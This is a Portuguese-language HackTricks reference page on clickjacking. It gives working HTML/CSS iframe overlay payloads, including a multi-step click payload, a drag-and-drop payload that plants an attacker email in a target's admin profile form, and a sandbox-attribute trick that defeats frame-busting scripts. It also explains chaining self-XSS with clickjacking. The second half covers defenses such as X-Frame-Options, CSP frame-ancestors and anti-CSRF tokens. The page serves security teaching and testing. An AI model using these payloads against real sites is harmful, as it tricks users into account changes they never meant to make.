mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			191 lines
		
	
	
		
			8.7 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			191 lines
		
	
	
		
			8.7 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Clickjacking
 | |
| 
 | |
| {{#include ../banners/hacktricks-training.md}}
 | |
| 
 | |
| ## O que é Clickjacking
 | |
| 
 | |
| Em um ataque de clickjacking, um **usuário** é **enganado** a **clicar** em um **elemento** em uma página da web que está **invisível** ou disfarçado como um elemento diferente. Essa manipulação pode levar a consequências indesejadas para o usuário, como o download de malware, redirecionamento para páginas web maliciosas, fornecimento de credenciais ou informações sensíveis, transferências de dinheiro ou a compra online de produtos.
 | |
| 
 | |
| ### Truque de pré-preenchimento de formulários
 | |
| 
 | |
| Às vezes, é possível **preencher o valor dos campos de um formulário usando parâmetros GET ao carregar uma página**. Um atacante pode abusar desse comportamento para preencher um formulário com dados arbitrários e enviar a carga útil de clickjacking para que o usuário pressione o botão Enviar.
 | |
| 
 | |
| ### Preencher formulário com Drag\&Drop
 | |
| 
 | |
| Se você precisa que o usuário **preencha um formulário**, mas não quer pedir diretamente que ele escreva algumas informações específicas (como o e-mail e ou senha específica que você conhece), você pode apenas pedir que ele **Drag\&Drop** algo que escreverá seus dados controlados, como neste [**exemplo**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
 | |
| 
 | |
| ### Carga Útil Básica
 | |
| ```markup
 | |
| <style>
 | |
| iframe {
 | |
| position:relative;
 | |
| width: 500px;
 | |
| height: 700px;
 | |
| opacity: 0.1;
 | |
| z-index: 2;
 | |
| }
 | |
| div {
 | |
| position:absolute;
 | |
| top:470px;
 | |
| left:60px;
 | |
| z-index: 1;
 | |
| }
 | |
| </style>
 | |
| <div>Click me</div>
 | |
| <iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
 | |
| ```
 | |
| ### Payload de Múltiplas Etapas
 | |
| ```markup
 | |
| <style>
 | |
| iframe {
 | |
| position:relative;
 | |
| width: 500px;
 | |
| height: 500px;
 | |
| opacity: 0.1;
 | |
| z-index: 2;
 | |
| }
 | |
| .firstClick, .secondClick {
 | |
| position:absolute;
 | |
| top:330px;
 | |
| left:60px;
 | |
| z-index: 1;
 | |
| }
 | |
| .secondClick {
 | |
| left:210px;
 | |
| }
 | |
| </style>
 | |
| <div class="firstClick">Click me first</div>
 | |
| <div class="secondClick">Click me next</div>
 | |
| <iframe src="https://vulnerable.net/account"></iframe>
 | |
| ```
 | |
| ### Drag\&Drop + Click payload
 | |
| ```markup
 | |
| <html>
 | |
| <head>
 | |
| <style>
 | |
| #payload{
 | |
| position: absolute;
 | |
| top: 20px;
 | |
| }
 | |
| iframe{
 | |
| width: 1000px;
 | |
| height: 675px;
 | |
| border: none;
 | |
| }
 | |
| .xss{
 | |
| position: fixed;
 | |
| background: #F00;
 | |
| }
 | |
| </style>
 | |
| </head>
 | |
| <body>
 | |
| <div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
 | |
| <div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
 | |
| <div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
 | |
| <iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
 | |
| <div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
 | |
| </body>
 | |
| </html>
 | |
| ```
 | |
| ### XSS + Clickjacking
 | |
| 
 | |
| Se você identificou um **ataque XSS que requer que um usuário clique** em algum elemento para **ativar** o XSS e a página é **vulnerável a clickjacking**, você pode abusar disso para enganar o usuário a clicar no botão/link.\
 | |
| Exemplo:\
 | |
| &#xNAN;_You encontrou um **self XSS** em alguns detalhes privados da conta (detalhes que **apenas você pode definir e ler**). A página com o **formulário** para definir esses detalhes é **vulnerável** a **Clickjacking** e você pode **preencher** o **formulário** com os parâmetros GET._\
 | |
| \_\_Um atacante poderia preparar um **ataque Clickjacking** para essa página **preenchendo** o **formulário** com a **carga útil XSS** e **enganando** o **usuário** a **enviar** o formulário. Assim, **quando o formulário é enviado** e os valores são modificados, o **usuário executará o XSS**.
 | |
| 
 | |
| ## Estratégias para Mitigar Clickjacking
 | |
| 
 | |
| ### Defesas do Lado do Cliente
 | |
| 
 | |
| Scripts executados no lado do cliente podem realizar ações para prevenir Clickjacking:
 | |
| 
 | |
| - Garantir que a janela da aplicação seja a principal ou a janela superior.
 | |
| - Tornar todos os frames visíveis.
 | |
| - Prevenir cliques em frames invisíveis.
 | |
| - Detectar e alertar os usuários sobre possíveis tentativas de Clickjacking.
 | |
| 
 | |
| No entanto, esses scripts de quebra de frame podem ser contornados:
 | |
| 
 | |
| - **Configurações de Segurança dos Navegadores:** Alguns navegadores podem bloquear esses scripts com base em suas configurações de segurança ou falta de suporte a JavaScript.
 | |
| - **Atributo `sandbox` do iframe HTML5:** Um atacante pode neutralizar scripts de quebra de frame definindo o atributo `sandbox` com valores `allow-forms` ou `allow-scripts` sem `allow-top-navigation`. Isso impede que o iframe verifique se é a janela superior, e.g.,
 | |
| ```html
 | |
| <iframe
 | |
| id="victim_website"
 | |
| src="https://victim-website.com"
 | |
| sandbox="allow-forms allow-scripts"></iframe>
 | |
| ```
 | |
| Os valores `allow-forms` e `allow-scripts` permitem ações dentro do iframe enquanto desabilitam a navegação de nível superior. Para garantir a funcionalidade pretendida do site alvo, permissões adicionais como `allow-same-origin` e `allow-modals` podem ser necessárias, dependendo do tipo de ataque. Mensagens do console do navegador podem guiar quais permissões permitir.
 | |
| 
 | |
| ### Defesas do Lado do Servidor
 | |
| 
 | |
| #### X-Frame-Options
 | |
| 
 | |
| O **cabeçalho de resposta HTTP `X-Frame-Options`** informa aos navegadores sobre a legitimidade de renderizar uma página em um `<frame>` ou `<iframe>`, ajudando a prevenir Clickjacking:
 | |
| 
 | |
| - `X-Frame-Options: deny` - Nenhum domínio pode emoldurar o conteúdo.
 | |
| - `X-Frame-Options: sameorigin` - Somente o site atual pode emoldurar o conteúdo.
 | |
| - `X-Frame-Options: allow-from https://trusted.com` - Somente o 'uri' especificado pode emoldurar a página.
 | |
| - Note as limitações: se o navegador não suportar esta diretiva, pode não funcionar. Alguns navegadores preferem a diretiva CSP frame-ancestors.
 | |
| 
 | |
| #### Diretiva frame-ancestors da Content Security Policy (CSP)
 | |
| 
 | |
| A **diretiva `frame-ancestors` na CSP** é o método recomendado para proteção contra Clickjacking:
 | |
| 
 | |
| - `frame-ancestors 'none'` - Semelhante a `X-Frame-Options: deny`.
 | |
| - `frame-ancestors 'self'` - Semelhante a `X-Frame-Options: sameorigin`.
 | |
| - `frame-ancestors trusted.com` - Semelhante a `X-Frame-Options: allow-from`.
 | |
| 
 | |
| Por exemplo, a seguinte CSP permite apenas emolduramento do mesmo domínio:
 | |
| 
 | |
| `Content-Security-Policy: frame-ancestors 'self';`
 | |
| 
 | |
| Mais detalhes e exemplos complexos podem ser encontrados na [documentação frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) e na [documentação frame-ancestors da Mozilla](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
 | |
| 
 | |
| ### Content Security Policy (CSP) com `child-src` e `frame-src`
 | |
| 
 | |
| A **Content Security Policy (CSP)** é uma medida de segurança que ajuda a prevenir Clickjacking e outros ataques de injeção de código, especificando quais fontes o navegador deve permitir para carregar conteúdo.
 | |
| 
 | |
| #### Diretiva `frame-src`
 | |
| 
 | |
| - Define fontes válidas para frames.
 | |
| - Mais específica do que a diretiva `default-src`.
 | |
| ```
 | |
| Content-Security-Policy: frame-src 'self' https://trusted-website.com;
 | |
| ```
 | |
| Esta política permite frames da mesma origem (self) e https://trusted-website.com.
 | |
| 
 | |
| #### Diretiva `child-src`
 | |
| 
 | |
| - Introduzida no nível 2 do CSP para definir fontes válidas para web workers e frames.
 | |
| - Funciona como um fallback para frame-src e worker-src.
 | |
| ```
 | |
| Content-Security-Policy: child-src 'self' https://trusted-website.com;
 | |
| ```
 | |
| Esta política permite frames e workers da mesma origem (self) e https://trusted-website.com.
 | |
| 
 | |
| **Notas de Uso:**
 | |
| 
 | |
| - Descontinuação: child-src está sendo descontinuado em favor de frame-src e worker-src.
 | |
| - Comportamento de Fallback: Se frame-src estiver ausente, child-src é usado como fallback para frames. Se ambos estiverem ausentes, default-src é usado.
 | |
| - Definição Estrita de Fonte: Inclua apenas fontes confiáveis nas diretrizes para evitar exploração.
 | |
| 
 | |
| #### Scripts de Quebra de Frame em JavaScript
 | |
| 
 | |
| Embora não sejam completamente infalíveis, scripts de quebra de frame baseados em JavaScript podem ser usados para evitar que uma página da web seja emoldurada. Exemplo:
 | |
| ```javascript
 | |
| if (top !== self) {
 | |
| top.location = self.location
 | |
| }
 | |
| ```
 | |
| #### Empregando Tokens Anti-CSRF
 | |
| 
 | |
| - **Validação de Token:** Use tokens anti-CSRF em aplicações web para garantir que solicitações que alteram o estado sejam feitas intencionalmente pelo usuário e não através de uma página Clickjacked.
 | |
| 
 | |
| ## Referências
 | |
| 
 | |
| - [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
 | |
| - [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
 | |
| 
 | |
| {{#include ../banners/hacktricks-training.md}}
 |